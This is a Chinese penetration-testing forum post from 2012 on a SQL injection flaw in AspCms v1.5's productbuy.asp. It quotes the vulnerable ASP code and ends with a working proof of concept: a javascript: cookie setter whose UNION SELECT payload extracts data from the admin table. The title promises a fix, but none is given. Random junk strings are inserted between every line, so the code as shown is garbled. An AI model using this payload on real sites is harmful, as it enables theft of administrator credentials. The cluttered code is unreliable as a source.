中国网络渗透测试联盟
标题:
AspCms_v1.5_20110517 SQL注射漏洞及修复
[打印本页]
作者:
admin
时间:
2012-12-27 08:35
标题:
AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了,上来一看发现在删号名单内.....
8 D; |. _! S U T, a* L4 E* C
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
, K# P. Z% q1 g8 n
废话不多说,看代码:
$ s# i6 B% b* W, X' [+ P; j: |4 C* w
, d: Z. n! }5 ?, O! w
<%
# z& F7 g8 `. E$ D
3 w: I B8 @* z* G, ^
if action = "buy" then
+ y J: Z8 R: S' @3 n' Y
# M) g& Q& c0 v+ P# p
addOrder()
6 n% j( ~2 l' n0 L
7 ?) S2 l( h6 g) ?) J3 D$ d
else
& K6 U. M7 C" {; f( y% {
& {" W( F/ N a' i Q+ G" N
echoContent()
7 R+ Q* D8 H/ h6 e" w6 ]$ X
6 ?0 ]) \5 n: C4 A: U: Y* Q
end if
! o) U! `+ q j6 e9 l2 `
7 B( K0 X8 }0 p: d2 M
0 j# X! j' J- q( D& G3 N
. o! d4 Y7 V* z8 s; t# e, _
……略过
/ _. X* G: i( z% A1 f% o0 u7 S
4 w) K( @8 E# V
% H y$ k2 v" P" Z4 t" R& W
* G' w- m1 d; z. u
Sub echoContent()
; T0 I4 v) w/ G8 _8 ?9 d
$ M, s9 ^ s9 U8 J7 Y! F' o0 K
dim id
/ A+ i5 |7 J% [8 \) |: O
; G3 O5 k% h( H P
id=getForm("id","get")
- [9 |: f, R0 x8 s, }) p
. `4 ]4 J! Q0 x5 k0 W
f2 a/ K4 }6 F7 U
# ]) G0 C/ j+ m3 j; q. u, S2 Y6 u
if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
) M& z- \/ `# N3 z# z( |: G
3 C y% a- O5 u9 E8 R
8 F$ h2 H) O: Z- k
5 _7 |' o5 G: Y6 {( B7 T+ B
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
) p4 o% V& ?0 o+ y0 t7 Q5 w
" ~0 f% P4 g; c
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
1 `. e( c" o) n$ j9 w! Y, ~- y
4 `$ R3 {0 ^- ?+ b0 N/ ]8 d
Dim templatePath,tempStr
( z4 d4 l5 U3 s+ d3 r
) Q; i% O; q4 i8 f, Z; u
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
3 R% O g4 q5 q |- U& O
1 a3 D: }# r6 Q/ F; [: n
7 L( i% f" x1 N z
/ H" B1 H4 V1 U. ~; N. u$ \
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
, B- L$ b& i* I0 w1 y! _
* _( v3 j, K6 i- A1 B
selectproduct=rsObj(0)
; X) ~# h+ m$ @+ @2 J+ f2 ?
; V, z4 W! b; A/ _! u
* c& ` J8 E: x! L" H7 H5 k% A8 D
$ c0 w& K5 k$ ^# o
Dim linkman,gender,phone,mobile,email,qq,address,postcode
; i6 l& y1 a, c- A2 |
) }* t5 i% _. L. a2 a$ [
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
1 R5 Y2 ^& o( Q; [6 b7 h6 O
( s3 \# k4 n) ~
if rCookie("loginstatus")=1 then
# s) ^+ O% r! F Y2 R+ s6 {
0 K% D, L& ], C. s5 X
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
. V8 p! S4 `: s+ p# C8 u
' L5 ~1 h D( X( V8 J* N4 S
linkman=rsObj("truename")
' R* ]$ p+ D E* c' O- c- w8 ?
+ ^7 W4 q% R5 W1 y
gender=rsObj("gender")
6 R' p5 r! s% Z$ s* [
* u5 ~% V7 [: q0 l: K
phone=rsObj("phone")
0 L' v* v0 S7 S; x9 ]& M
: y$ n6 m6 T O6 P4 c9 _
mobile=rsObj("mobile")
, N5 R" M1 s& k: \
* N* `- z ~! |! P" o8 h
email=rsObj("email")
8 n+ h9 s% _0 ]6 d
% o M* l9 O8 z2 K& e8 r; a, p( }
qq=rsObj("qq")
F. ^( H6 [3 W* h6 y
$ K7 b, M, K. o* J0 f
address=rsObj("address")
% q: f8 y0 g9 g/ c6 C8 ]* E8 ~ L
" E/ _* }$ F% n1 A% T. J
postcode=rsObj("postcode")
3 a8 ~- W- N8 {
" }) s8 u6 h. O h4 N6 ^) b( P
else
1 z. f1 b- Y9 j. ]: p, q- t
/ i/ N) z$ n! p" P( K8 v/ o, m
gender=1
; e* s. x9 ~% g- G K8 W
' `. T# B9 Q/ U9 p. \0 o, {/ ~
end if
/ l1 s) R4 @+ v5 u+ J
7 j% o/ o& S" P& U
rsObj.close()
@( N+ V3 a$ E8 ^ }: d) M
& D7 `1 R. u, x4 `9 s; A
: i. g, _% ~) P& W
' m) |; M: H8 ^' v6 o0 l2 E' b
with templateObj
3 ~( j F" k) |5 C5 a( ~2 M$ x! }
, ^: H; y# z, z5 Y, ^. q
.content=loadFile(templatePath)
5 t l5 U! W3 X1 m7 ]3 D8 q. w0 s
7 P, \2 ^: A. r7 A
.parseHtml()
$ U4 q' Z8 W; \4 c6 @
7 \+ G* N! X" K# u. K" h4 ]
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
. s- R7 D9 F8 J/ X
1 y" e" X3 h5 H) S
.content=replaceStr(.content,"[aspcms:linkman]",linkman)
$ x, K; _( m7 G% J
9 u( M* t2 O, p! [/ b
.content=replaceStr(.content,"[aspcms:gender]",gender)
- [( E" U8 a- L! ?8 x) Y0 F
4 @) }2 d; ?0 ~& B% v- S
.content=replaceStr(.content,"[aspcms:phone]",phone)
+ n9 k S( k" K" t) O
" Z1 @- `7 j( _$ C4 K
.content=replaceStr(.content,"[aspcms:mobile]",mobile)
: X" @% z$ F: t2 a' m
0 b, \! X* } l: I
.content=replaceStr(.content,"[aspcms:email]",email)
: W1 ^, g7 A$ Y3 ~9 L/ ^$ G
{9 u) _; Y1 v( H4 ~9 x; o
.content=replaceStr(.content,"[aspcms:qq]",qq)
; r8 D8 Z& \: T- n
7 k* j' R* W1 n! O7 g+ y
.content=replaceStr(.content,"[aspcms:address]",address)
5 l; F7 x! R8 \
9 P+ u. X, z5 |- n( ?9 S2 S" z5 I$ _
.content=replaceStr(.content,"[aspcms:postcode]",postcode)
e: q1 @* O2 n4 S
) n+ u" X) |3 a5 C
.parseCommon()
/ |2 I0 d- f. i$ |0 ~
1 S1 c* c8 ?4 O k R
echo .content
' S8 u% O r8 R8 U" M, L# M& s% x
' l1 d0 E6 ?2 U
end with
# J5 I6 G. Y6 T* O0 {
' t( u* d- Z! o2 C9 d$ u
set templateobj =nothing : terminateAllObjects
2 v- B/ B5 l1 B1 K
0 s- h8 z4 c) V; K ]6 d$ i! t
End Sub
( v6 H$ Q& }" w$ F$ q
漏洞很明显,没啥好说的
% B' Z3 L. V2 B+ f9 I
poc:
4 I" s [$ t6 ?, G" t! ~- [4 e6 e
# n7 i+ v9 F" Y
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子
7 w1 w* \* }% l( ~
$ i5 H" _& N. K* O2 l# M+ A
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2